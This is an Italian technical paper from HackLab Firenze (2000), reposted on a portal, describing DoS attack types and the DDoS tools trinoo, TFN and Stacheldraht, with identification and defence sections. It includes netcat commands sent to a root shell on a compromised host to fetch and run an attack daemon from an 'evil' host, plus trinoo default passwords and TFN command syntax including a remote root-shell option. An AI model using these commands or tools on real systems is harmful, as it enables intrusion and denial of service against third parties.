Manuali, links, fotografie e tanto altro
alla portata di un semplice click!
 
 Benvenuto Ospite
Manuali, immagini, fotografie e tanto altro a portata di un click

Cartoline virtuali

Cartolina n° 820



Sono presenti 1307 cartoline virtuali. Entra ora


Giochi online
Cash It Up


1. ermesiti: 151,550
2. barone400: 140,251
3. Ai: 105,531

Visualizza tutti i giochi.

News Reader















Distributed Denial of Service (DDoS), Gianni Bianchini, Alessio Frusciante
.: Data Pubblicazione 02-Ott-2005 :: Letture:: 595 :: Recensione :: Stampa solo questa pagina :: Stampa pagina con tutte le sottopagine:.

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

   Appunti sugli strumenti di Distributed Denial of Service  (DDoS)

                  Gianni Bianchini, Alessio Frusciante
                   {giannibi, algol}@firenze.linux.it
       
            HackLab Firenze - 23 Febbraio 2000

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

      

INTRODUZIONE
============

Per  Denial  of  Service  (DoS)  si intende  generalmente  un  attacco
progettato allo scopo di impedire le regolari funzioni di un sistema o
comunque  causarne un  degrado delle  prestazioni. Nel  contesto delle
reti, un  simile risultato  lo si ottiene  tipicamente con  l'invio di
informazione opportunamente "forgiata".  Il DoS puo' essere causato ad
esempio dal volume  stesso dei dati passati alla  vittima, che provoca
la saturazione delle risorse del sistema (starvation), o dal contenuto
di  questi, appositamente progettato  per sfruttare  le vulnerabilita'
presenti nei servizi o nei protocolli, siano queste "concettuali" o di
implementazione   hardware   e  software.    Gli   attacchi  DoS   che
consideriamo si  basano sull'architettura  {TCP, UDP, ICMP}/IP  [12] e
sui servizi che la utilizzano. Alcune delle tipologiep iu' comuni sono
le seguenti:

- Flooding generico (UDP, ICMP)

    L'obiettivo di tali attacchi  e' essenzialmente quello di saturare
    la  banda del  bersaglio  (chi  ha piu'  banda  vince...) o  altre
    risorse  (es.  CPU time  dei  dispositivi  di  rete). "Pepsi",  ad
    esempio, realizza un flooding UDP diretto alle porte dedicate alla
    diagnostica su alcuni router.

- SYN flooding

    Sono   attacchi  basati  sull'invio   di  richieste   di  apertura
    connessione  TCP (SYN  messages)  cui non  segue il  completamento
    dell'handshaking necessario allo stabilirsi del collegamento (cio'
    si  ottiene  per   esempio  mediante  spoofing  dell'indirizzo  di
    provenienza).  Le richieste "in  sospeso" vengono  memorizzate dal
    server in un buffer  di lunghezza finita, suscettibile di overflow
    qualora  la  frequenza di  arrivo  delle  nuove richieste  risulti
    superiore alla  frequenza di smaltimento di quelle  in timeout. Il
    risultato  e'   l'incapacita'  del  sistema   di  accettare  nuove
    connessioni "legittime".

- Teardrop e relative varianti (bonk, nestea, newtear, ecc.) basate su
  "fragmentation bugs"

    Questi  DoS sfruttano  varie vulnerabilita'  (tipiche  dei diversi
    sistemi)  nell'implementazione  dell'IP  per  quanto  riguarda  il
    codice  di riassemblaggio  dei pacchetti  IP frammentati;  il loro
    effetto e' tipicamente quello di  causare il crash del sistema che
    ne e' vittima.
   
- Attacchi  che sfruttano  "errori di  progetto" di  varia  natura del
  bersaglio

    E'  il caso  di  "land", che  invia  al server  pacchetti SYN  con
    indirizzo  di   origine  uguale  all'indirizzo   di  destinazione,
    situazione non  prevista e  non correttamente gestita  nelle prime
    versioni  di alcuni  sistemi, o  del famoso  "ping of  death", che
    sfrutta   l'incapacita'  di  gestire   messaggi  ICMP   di  grandi
    dimensioni,  o  ancora  di  "jolt",  che si  basa  sulla  gestione
    impropria della frammentazione dell'ICMP.

- DoS "ad amplificazione di traffico"

    Il piu' famoso di questi e' "smurf", il quale invia un gran numero
    di richieste ICMP_ECHO (ping) ad  un indirizzo di broadcast di una
    sottorete (ad  es. x.y.z.255),  aventi ciascuna come  indirizzo di
    ritorno quello della  macchina A, vittima dell'attacco. All'arrivo
    della  richiesta  ICMP_ECHO, ogni  host  x.y.z.t  risponde con  un
    ICMP_ECHOREPLY indirizzato alla macchina A, la quale, specialmente
    se la  rete x.y.z.t e' composta  da un buon numero  di host, viene
    "assalita"  dal  traffico  entrante  e  perde  connettivita'.   La
    variante  "fraggle" sfrutta  l'UDP echo.  Tanto A  quanto  la rete
    utilizzata per  generare il traffico risultano  di fatto "vittime"
    di questo tipo di attacchi.
   
- Attacchi DoS diretti ai servizi

    Errori di vario genere nel progetto e nella codifica dei daemon di
    rete  possono essere  sfruttati  per alterare  le prestazioni  dei
    servizi o  renderli inefficienti.  La mancanza di  controllo sulla
    lunghezza dell'input  fornito dal client puo'  ad esempio generare
    la  morte  del  daemon  di  servizio  a  causa  di  un  errore  di
    protezione; e' il caso di  alcune (non troppo vecchie) versioni di
    bind:  i   nameserver  che  le  impiegano   possono  essere  messi
    facilmente fuori uso.
  
Si rimanda  a [13]  per la  descrizione tecnica di  un gran  numero di
possibili  attacchi DoS.  In  passato, ogni  attacco di  questo genere
verso un particolare  server o rete proveniva normalmente  da una sola
sorgente, di solito rappresentata da un host in precedenza compromesso
e con sufficiente  banda in uscita. Tipici punti  di partenza erano (e
sono  tuttora)  le reti  universitarie,  caratterizzate  da una  buona
connettivita'  e dalla  presenza di  numerose macchine  unix, connesse
direttamente "sul  mondo" e spesso gestite in  modo irrispettoso delle
piu' elementari  misure di sicurezza,  come un'adeguata configurazione
dei  servizi di  rete e  l'aggiornamento del  software piu'  esposto a
permettere  intrusioni.   Recentemente  sono stati  introdotti  alcuni
strumenti  software  che  traggono  vantaggio  dalla  possibilita'  di
disporre di  un certo  numero di risorse,  opportunamente predisposte,
allo   scopo  di   condurre   un'azione  di   DoS   in  qualche   modo
coordinata. Tali strumenti sono  noti come Distributed System Intruder
Tools.  Mediante essi  e' possibile  lanciare attacchi  di tipo  DoS a
partire  da   piu'  sistemi   contemporaneamente  verso  uno   o  piu'
bersagli.  Il vantaggio  piu' evidente  di un  simile approccio  e' la
possibilita' di ottenere effetti  di entita' assai maggiore rispetto a
quelli  di un  attacco  "semplice"; inoltre  la particolare  struttura
"gerarchica"  di  questi  sistemi  e' tale  da  rendere  difficilmente
tracciabile l'origine  dell'attacco [14].  In  generale, gli strumenti
di DDos fanno  affidamento su un buon numero di  host connessi in rete
sui quali l'autore dell'offensiva  dispone di accesso privilegiato. Si
tratta  in genere  di  sistemi precedentemente  compromessi a  livello
root, ad  esempio mediante l'exploit remoto di  note vulnerabilita' di
alcuni servizi di rete [10].

PREPARIAMO L'ARSENALE
=====================

Le operazioni "preliminari" all'attuazione  di un attacco DDoS possono
essere ad esempio le seguenti:

  1) Utilizzo di un account  qualunque come "deposito" di strumenti di
  vario genere come  scanner, sniffer, exploit per un  certo numero di
  vulnerabilita',    rootkits,   liste    di   host    compromessi   o
  compromettibili, sorgenti e binari degli strumenti DDoS, ecc.

  2) Effettuazione  di uno scan  estensivo di  potenziali host  di cui
  assumere il  controllo. Tipicamente ci si concentra  su sistemi unix
  con  funzioni di  server nei  cui  servizi si  possano sfruttare  da
  remoto condizioni di buffer  overflow che permettano l'esecuzione di
  una root  shell: tali  condizioni si trovano  in alcune  versioni di
  servizi RPC quali  nfs, in alcuni server ftp,  ecc.  I sistemi presi
  di mira sono di solito Linux e Solaris, sia per la facilita' con cui
  se ne possono  trovare di installati "a scatola  chiusa", sia per la
  vasta  disponibilita'  di "shellcode"  precompilati  e rootkits  per
  queste piattaforme. Naturalmente, a  partire da un host compromesso,
  e'  possibile tentare  di  sfruttare  il trust  che  altri hanno  su
  questo, in  modo da guadagnare altri  host alla causa  in maniera un
  po' piu' agevole rispetto all'exploit  di un buffer overflow. Da qui
  l'opportunita' dell'installazione di tool come sniffer, ecc.
 
  3) Acquisizione  del  controllo degli  host  individuati, sui  quali
  solitamente  viene messa  in esecuzione  una  root shell  a cui  sia
  possibile  inviare  comandi tramite  netcat  (nc)  su una  specifica
  porta.  In questo modo  si ha  il totale  controllo da  remoto della
  macchina  senza  doverci  accedere  interattivamente.  Supposto  che
  miohost sia  l'host "bucato"  su cui e'  stata predisposta  una root
  shell che  ascolta sulla  porta 1524/tcp, una  serie di  comandi del
  tipo

  --------------------------------------------------------------------
  evil# echo "rcp evil:ddosd /usr/sbin/ddosd" | nc miohost 1524
  evil# echo "chmod a+x /usr/sbin/ddosd" | nc miohost 1524
  evil# echo "/usr/sbin/ddosd" | nc miohost 1524
  --------------------------------------------------------------------
 
  puo' ad esempio essere usata per trasferire il binario del programma
  daemon  ddosd   sulla  macchina   compromessa  e  ivi   mandarlo  in
  esecuzione.    Naturalmente    questo   procedimento   puo'   essere
  automatizzato mediante  scripting e l'uso di una  tabella degli host
  "disponibili"  aiuta in  questo  senso.  Il  daemon  ddosd (fin  qui
  generico)  puo' essere ad  esempio il  meccanismo mediante  il quale
  altri   host  comunicheranno  con   miohost  per   il  coordinamento
  dell'azione di DoS, secondo  il protocollo del particolare strumento
  usato.   Il  procedimento di  installazione  e'  molto  rapido e  la
  presenza  (fisica dell'eseguibile, nella  lista dei  processi, ecc.)
  del  daemon di  servizio puo'  essere opportunamente  mascherata con
  metodi classici, come l'impiego di versioni "troianizzate" di alcune
  utility  di  sistema (rootkit),  la  cui  installazione puo'  essere
  eseguita contestualmente  a quella del daemon.  I  sistemi DDoS sono
  caratterizzati da una struttura gerarchica in cui il ruolo di alcune
  macchine e' piu'  cruciale di quello di altre.   L'attivita' di tali
  macchine  "centrali" dovra' essere  solo minimamente  rivelabile: da
  qui la necessita' di impiego dei suddetti tool e quella di collocare
  questi "master" in posizioni strategiche  come il DNS primario di un
  provider, che  sara' presumibilmente soggetto a  intenso traffico (e
  che magari, visto che ormai  siamo a sognare, girera' pure una bella
  versione  bacata di bind...  <g>).  E'  opportuno osservare  che gli
  strumenti di DDoS, come  molti programmi che realizzano attacchi DoS
  in genere,  non possono prescindere  dal possesso di  privilegi root
  sulla macchina ospite, poiche'  tipicamente fanno uso di raw sockets
  [7].

CARICARE... PUNTARE... FUOCO!
=============================

A questo punto e' necessario esaminare la struttura e il funzionamento
dei  singoli  sistemi.  Prenderemo   in  considerazione  in  modo  non
tecnicamente dettagliatissimo i seguenti tre:

- trinoo
- TFN (Tribe Flood Network)
- Stacheldraht.

TRINOO [2]
==========

L'architettura della  rete trinoo  puo' essere riassunta  nel seguente
schema,  in cui  ogni host  (tranne presumibilmente  il  bersaglio) e'
costituito  da una  macchina preparata  come descritto  nel precedente
paragrafo.


                  +----------+           +----------+
                  | attacker |           | attacker |
                  +----------+           +----------+
                       |                      |
        . . . --+------+---------------+------+----------------+--
                |                      |                       |
                |                      |                       |
           +----------+           +----------+            +----------+
           |  master  |           |  master  |            |  master  |
           |(master.c)|           |          |            |          |
           +----------+           +----------+            +----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+--
         |            |            |            |            |
         |            |            |            |            |
     +--------+   +--------+   +--------+   +--------+   +--------+
     | daemon |   | daemon |   | daemon |   | daemon |   | daemon |
     | (ns.c) |   |        |   |        |   |        |   |        |
     +--------+   +--------+   +--------+   +--------+   +--------+
         |            |            |            |            |
         |            |            |            |            |
. . . ---+------------+------------+------------+------------+----
                                   |
       |
        +-----------+
        | bersaglio |
        +-----------+
   
   
Ogni "attacker"  ha il  controllo interattivo di  uno o  piu' "master"
(master.c),  ciascuno dei quali  ha la  capacita' di  controllare piu'
"daemon" (ns.c), a cui e' affidato il compito di condurre un'azione di
DoS  coordinata contro  il bersaglio.  Il  tipo di  DoS utilizzato  da
questo sistema e' un semplice UDP flooding su porte random.


-> MASTER <-

Il master  server gira su  ognuno dei master  host e necessita  di una
password per essere attivato:

----------------------------------------------------------------------
master_xx# ./master
?? g0rave  ; passwd di default

trinoo v1.07d2+f3+c [Sep 26 1999:10:09:24]
master_xx#
----------------------------------------------------------------------

Una  volta  attivo,  il  master  implementa un  telnet  daemon  (porta
27665/tcp)   mediante   il   quale   l'attacker  comunica   i   propri
comandi. L'accesso  al master  e' subordinato anch'esso  alla verifica
mediante  password, decisa  al momento  della compilazione.  Il master
risponde all'attacker con un prompt.

----------------------------------------------------------------------
attacker$ telnet master_yy 27665
Trying ...
Connected to ...
Escape character is '^]'.
betaalmostdone  ; passwd di default

trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]

trinoo>
----------------------------------------------------------------------

Le password  impiegate sono del  classico tipo crypt() e  trasmesse in
testo  chiaro attraverso  la  rete; inoltre  la  comunicazione non  e'
crittata, il  che espone il  sistema trinoo tanto allo  sniffing delle
password che ad eventuale hijacking della sessione [8,11].

Ogni master mantiene una lista dei daemon controllati attivi.

Alcuni comandi del master.

----------------------------------------------------------------------
  die           ; chiudi il master

  dos IP        ; effettua il DoS sull'IP specificato: questo fa si'
                  che il master istruisca ciascuno dei daemon sotto il
                  suo controllo a far partire un attacco verso IP.

  mdos <IPlist> ; effettua un DoS multiplo degli host in IPlist

  bcast         ; lista tutti i daemon attivi

  mdie passwd   ; uccidi tutti i daemon (passwd='killme')

  killdead      ; effettua un aggiornamento della lista dei daemon
                  attivi interrogando quelli attualmente in lista
----------------------------------------------------------------------


-> DAEMON <-

L'unica   comunicazione   interattiva  e'   quella   tra  attacker   e
master. Ciascun  master, in  seguito a comandi  inviati dall'attacker,
comanda i daemon sotto il suo controllo mediante stringhe del formato

  arg1 password arg2
 
trasmesse in testo chiaro sulla rete.  Il protocollo utilizzato per la
comunicazione master-daemon e' UDP

  master -> daemon 27444/udp daemon -> master 31335/udp
 
Ciascuno  dei daemon  possiede la  lista dei  master  server compilata
all'interno del programma stesso.   All'avvio, ogni daemon notifica la
sua presenza al master inviando la stringa *HELLO*, il master mantiene
cosi' una lista dei daemon attivi controllati, la quale puo' venire in
seguito aggiornata a richiesta mediante appositi comandi.

Alcuni comandi del daemon.

----------------------------------------------------------------------
  aaa passwd IP  ;  effettua il DoS dell'IP specificato (UDP flood di
                    durata prefissata)

  bbb passwd N   ;  imposta la durata del flood

  shi passwd     ;  invia la stringa *HELLO* alla lista dei master per
                    l'aggiornamento della tabella

  xyz passwd 123:<IPlist>
                 ;  effettua un DoS multiplo su <IPlist>
----------------------------------------------------------------------


-> IDENTIFICAZIONE <-

In  assenza   di  eventuali  versioni  modificate   delle  utility  di
monitoraggio,  la  presenza di  un  master  attivo  in un  sistema  e'
riconoscibile dalle seguenti connessioni di rete aperte

----------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address         State
tcp        0      0 *:27665            *:*                     LISTEN
. . .
udp        0      0 *:31335            *:*
. . .

# lsof | egrep ":31335|:27665"
master   1292     root    3u  inet    2460        UDP *:31335
master   1292     root    4u  inet    2461        TCP *:27665 (LISTEN)
----------------------------------------------------------------------

dove il processo 1292 "master" e' per l'appunto il master server.
La presenza di un daemon lascia invece le seguenti "tracce"

----------------------------------------------------------------------
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address         State
. . .
udp        0      0 *:1024             *:*
udp        0      0 *:27444            *:*
. . .

# lsof | egrep ":27444"
ns       1316     root    3u  inet    2502        UDP *:27444
-----------------------------------------------------------------------

il pid 1316 "ns" e' quello del daemon.


-> PUNTI DEBOLI <-

  1) Le  password  in formato  crypt()  e  il  nome dei  comandi  sono
  presenti  nell'immagine binaria  dei  programmi. Sostituendo  l'hash
  della  password con  uno noto  e'  ad esempio  possibile avviare  il
  master e  recuperare la lista  dei daemon, una volta  individuato un
  daemon si puo' risalire alla  lista dei master "cablata" sotto forma
  di stringhe nel binario.
 
  2) Tutte le debolezze del traffico in chiaro.
 
 
-> DIFESA <-

Alcuni possibili strumenti.

  1) A priori, limitare la  possibilita' di intrusione a livello root,
  e questa e' un'altra storia.
 
  2) Monitoraggio del  traffico UDP, in modo da  individuare le tracce
  di  una  comunicazione  master-daemon,  o TCP  per  intercettare  il
  dialogo attacker-master,  che oltretutto avviene in  chiaro.  I piu'
  acrobati possono tentare un hijacking della sessione e procurarsi la
  lista dei daemon.

  3) Il  filtraggio   UDP  non   e'  di  solito   efficiente,  poiche'
  compromette il funzionamento di eventuali servizi che impiegano tale
  protocollo.

TFN (Tribe Flood Network) [3]
=============================

Questo  DDoS  tool,  il cui  autore  e'  Mixter,  si basa  uno  schema
piuttosto simile a quello visto per trinoo ed e' caratterizzato da una
maggiore  semplicita' nel  meccanismo di  comunicazione.  TFN,  di cui
esiste un'evoluzione (TFN2k), e'  capace di effettuare DoS distribuiti
mediante attacchi di tipo

- ICMP flood SYN flood UDP flood Attacchi Smurf-like

ed offre inoltre  la possibilita' di agganciare una  root shell ad una
porta  TCP.  La  rete e'  composta da  alcune macchine  che  girano il
programma client  tribe.c e da  alcune che girano il  programma daemon
td.c, secondo la seguente struttura:

                  +----------+           +----------+
                  | attacker |           | attacker |
                  +----------+           +----------+
                       |                      |
        . . . --+------+---------------+------+----------------+--
                |                      |                       |
                |                      |                       |
           +----------+           +----------+            +----------+
           |  client  |           |  client  |            |  client  |
    |(tribe.c) |           |          |            |          |
           +----------+           +----------+            +----------+
                |                      |                       |
                |                      |                       |
. . . ---+------+-----+------------+---+--------+------------+-+--
         |            |            |            |            |
         |            |            |            |            |
     +--------+   +--------+   +--------+   +--------+   +--------+
     | daemon |   | daemon |   | daemon |   | daemon |   | daemon |
     | (td.c) |   |        |   |        |   |        |   |        |
     +--------+   +--------+   +--------+   +--------+   +--------+
         |            |            |            |            |
         |            |            |            |            |
. . . ---+------------+------------+------------+------------+----
                                   |
       |
        +-----------+
        | bersaglio |
        +-----------+
       
Al solito,  ogni attacker  controlla uno o  piu' client,  ciascuno dei
quali controlla piu'  daemon, ai quali daemon e'  assegnato il compito
di effettuare l'attacco coordinato.


-> CLIENT <-

Il client non funziona da "server daemon", come nel caso del master di
trinoo e  non vi  e' quindi accesso  interattivo. Il  programma client
viene lanciato,  ad esempio mediante  una root shell collegata  ad una
porta o con una semplice sessione  ssh, ogni volta che si desidera far
partire un  attacco o istruire  i daemon. La  linea di comando  e' del
tipo:

----------------------------------------------------------------------
# ./tfn <iplist> <type> [ip] [port]

  <iplist>    ;  lista dei daemon da attivare
  <type>      ;  tipo di attacco o parametro da impostare. es.
    -2 - Set dimensione pacchetto
    -1 - Set spoofing mode (0-3)
                   0 - Stop
                   1 - UDP flood
     2 - SYN flood
     3 - ICMP flood
     4 - Collega rootshell
            5 - Smurf-like (primo IP=bersaglio, altri IP bcast)
  [ip]        ;  lista IP (separati da @)
  [port]      ;  Porta, obbligatoria per SYN flood, 0=random
 
----------------------------------------------------------------------


-> DAEMON <-

La comunicazione  client-daemon, a differenza di trinoo  in cui questa
avviene mediante stringhe di  testo trasmesse tramite UDP, si realizza
tramite ICMP.  Ogni messaggio e' costituito  da un codice a 16 bit nel
campo ID  di un pacchetto  di tipo ICMP_ECHOREPLY con  sequence number
costantemente  pari a  zero, esattamente  come il  primo  pacchetto di
_risposta_  ad  un  comune ping,  che  non  genera  di per  se'  alcun
messaggio di  ritorno; il daemon  eventualmente risponde con  un altro
pacchetto ICMP_ECHOREPLY.  Poiche' _non_ c'e'  alcuna protezione della
comunicazione mediante  password, i  codici di default  possono essere
cambiati nel  sorgente dei programmi  in modo da prevenire  l'invio di
comandi  "spuri" da parte  di terzi.   Il meccanismo  di comunicazione
client-daemon  rende  l'attivita'   del  sistema  assai  difficilmente
individuabile, specialmente in reti di una certa dimensione.


-> IDENTIFICAZIONE <-

La presenza di un TFN daemon su un host mostra semplicemente un socket
aperto con  protocollo non  specificato ed eventualmente  un listening
socket  TCP  nel caso  sia  attiva la  funzione  di  shell remota.  Un
possibile output di lsof e' il seguente:

----------------------------------------------------------------------
td        5970     root  cwd    DIR        3,5    1024    240721
/usr/lib/libx/...
td        5970     root  rtd    DIR        3,1    1024         2 /
td        5970     root  txt    REG        3,5  297508    240734
/usr/lib/libx/.../td (deleted)
td        5970     root    0u  inet      92909               TCP
*:12345 (LISTEN)
td        5970     root    3u  sock        0,0             92814 can't
identify protocol
----------------------------------------------------------------------


-> DIFESA <-

Il canale  di comunicazione  client-daemon e' piuttosto  "sicuro", nel
senso che  l'unico metodo efficace per interromperlo  e' il filtraggio
brutale dell'ICMP,  in molti casi non applicabile.  Un raffinamento di
questa tecnica  puo' essere rappresentato dalla  verifica del rispetto
di alcune regole nel traffico,  ad esempio la generazione di pacchetti
ICMP_ECHOREPLY a seguito di ICMP_ECHO.

STACHELDRAHT [15]
=================

Stacheldraht e' la parola tedesca  per filo spinato ("Stachel" spina e
"Draht" cavo) e puo' essere considerato un'evoluzione di trinoo e TFN.

In analogia  a trinoo, stacheldraht  ha una struttura composta  da uno
piu' master "handler" e molti daemon  "agent", ed in comune con TFN ha
la  possibilita' di  scegliere l'attacco  tra una  varieta'  di metodi
(ICMP flood, SYN flood, UDP flood e smurfing).


-> HANDLER E AGENT <-

Una delle aggiunte piu' interessanti  e' il fatto che la comunicazione
tra l'attacker e gli handler e' cifrata. Cio' comporta alcune evidenti
conseguenze  tra  cui l'impossibilita'  di  tentare  un hijacking  per
riuscire ad ottenere informazioni sulla rete di attacco.

Nel codice attualmente a disposizione, la comunicazione tra attacker e
handler avviene sulla porta 16660 tcp e la comunicazione tra handler e
agent avviene tramite ICMP e porta 65000 tcp.

Per accedere all'handler, l'attacker  deve specificare una password di
tipo  crypt(), che  pero' viene  criptata con  una  passphrase tramite
l'algoritmo   Blowfish  (di   default  "authentication").   Una  volta
stabilita la  connessione tutto il  traffico e' cifrato  con Blowfish.
L'utente ha  la possibilita' di  utilizzare una serie di  comandi, sia
diagnostici, che esecutivi, compreso un help.

I comandi  servono a verificare quanti agent  sono attivi, all'interno
di una  lista mantenuta  sull'handler, eventualmente a  terminarli, ad
aggiungere  o  togliere  un  handler  dalla  lista  degli  handler,  a
cominciare   o  a  terminare   l'attacco,  etc.    Una  caratteristica
interessante di Stacheldraht e'  che permette di effettuare un upgrade
degli agent  tramite un  semplice comando (.distro),  che usa  rcp per
scaricare da  un account compromesso  un'immagine aggiornata, cancella
la  vecchia copia  e  poi  lancia quella  nuova.  Quindi un  eventuale
cambiamento puo' essere velocemente diffuso.

Ci  sono poi  delle operazioni  che gli  agent compiono  in automatico
quando vengono avviati (ricordiamoci che l'utente puo' comunicare solo
con  l'handler).  L'agent  cerca  di trovare  quali  sono gli  handler
attivi,  cercando una  lista di  indirizzi all'interno  di un  file di
configurazione.  Se  tale  file  di configurazione  non  e'  presente,
l'agent  cerca di  connettersi ad  un indirzzo  di default.  Una volta
trovati quali potrebbero essere gli handler di sua pertinenza, l'agent
prova ad  interrogare il primo,  utilizzando unpacchetto ICMP  di tipo
Echo Reply con  ID 666 e contenente come  dati la stringa"skillz".  Se
l'handler e' attivo,  risponde con un altro pacchetto  ICMP Echo Reply
con id 667 e avente nel campo dati "ficken".

Oltre a cio' l'agent tenta di  determinare se la rete locale in cui si
trova permette  l'uscita di pacchetti  con IP spoofato. Per  fare cio'
manda un pacchetto ICMP Echo  Reply con indirizzo sorgente 3.3.3.3, ID
666  e il campo  dati contenente  il vero  indirizzo IP.  Se l'handler
riceve il pacchetto risponde con un altro ICMP Echo Reply, con ID 1000
e "spoofworks" nel  campo dati. Se entro un  certo timeout l'agent non
riceve  risposta,  spoofera' solo  l'ultimo  ottetto, altrimenti  puo'
spoofare l'intero indirizzo.


-> IDENTIFICAZIONE <-

Veniamo  adesso  alle  tracce  che Stacheldraht  lascia.  Innanzitutto
all'interno  degli eseguibili,  sia nel  master che  nel  daemon, sono
presenti  delle stringhe  in  chiaro che  possono essere  riconosciute
tramite un semplice grep.  Chiaramente cio' e' facilmente modificabile
dal sorgente.  Altre  tracce sono i pacchetti di  scambio tra master e
daemon   prima   descritti,   che   contengono   stringhe   facilmente
riconoscibili, in quanto incapsulate in chiaro nei pacchetti ICMP. Non
e'  difficile  scrivere  dei   tool  che  monitorano  l'attivita'  dei
pacchetti  ICMP   Echo  Reply  con  gli   ID  descritti.  Un'ulteriore
possibilita' e' quella di controllare  i pacchetti con IP con sorgente
3.3.3.3 che escono dalla rete  locale, i quali inoltre contengono l'IP
reale  della   macchina  su  cui  risiede  il   daemon.  Anche  queste
caratteristiche, pero', sono facilmente modificabili dai sorgenti.

RIFERIMENTI
===========

[1] Denial of Service Attacks Resource - http://www.denialinfo.com

[2] D. Dittrich - The DoS Project's "trinoo" distributed denial of
service attack tool -
http://staff.washington.edu/dittrich/misc/trinoo.analysis

[3] D. Dittrich - The "Tribe Flood Network" distributed denial of
service attack tool -
http://staff.washington.edu/dittrich/misc/tfn.analysis

[4] Distributed Denial of Service (DDoS) Attacks/tools -
http://staff.washington.edu/dittrich/misc/ddos/

[5] Satan documentation - http://www.wwdsi.com

[6] Packetstorm Security Website - http://packetstorm.securify.com

[7] Raw IP Networking FAQ - http://www.whitefang.com/rin/

[8] B. Claerhout - A short overview of IP spoofing: PART I -
http://www.nmrc.org/files/unix/ip-exploit.txt

[9] Anonymous - Maximum Linux Security - SAMS 1999

[10] Bugtraq archive & ML - http://www.securityfocus.com

[11] Hunt project - http://www.cri.cz/kra/index.html

[12] W. R. Stevens and G. R. Wright - TCP/IP illustrated, vol. I, II,
III - Addison-Wesley

[13] Attrition DoS Database -
http://www.attrition.org/security/denial/index.html

[14] Mixter - "Tribe Flood Network 3000" -
http://packetstorm.securify.com/distributed/tfn3k.txt

[15] D. Dittrich - The "stacheldraht" distributed denial of service
attack tool
http://staff.washington.edu/dittrich/misc/stacheldraht.analysis

.: Ritorna ad argomento Hackers :: Ritorna a Indice Argomenti :.
Network: Cartoline virtuali - Calendari - Modelle - Playmates - Sfondi - Forum - Old SecurityNews - Warez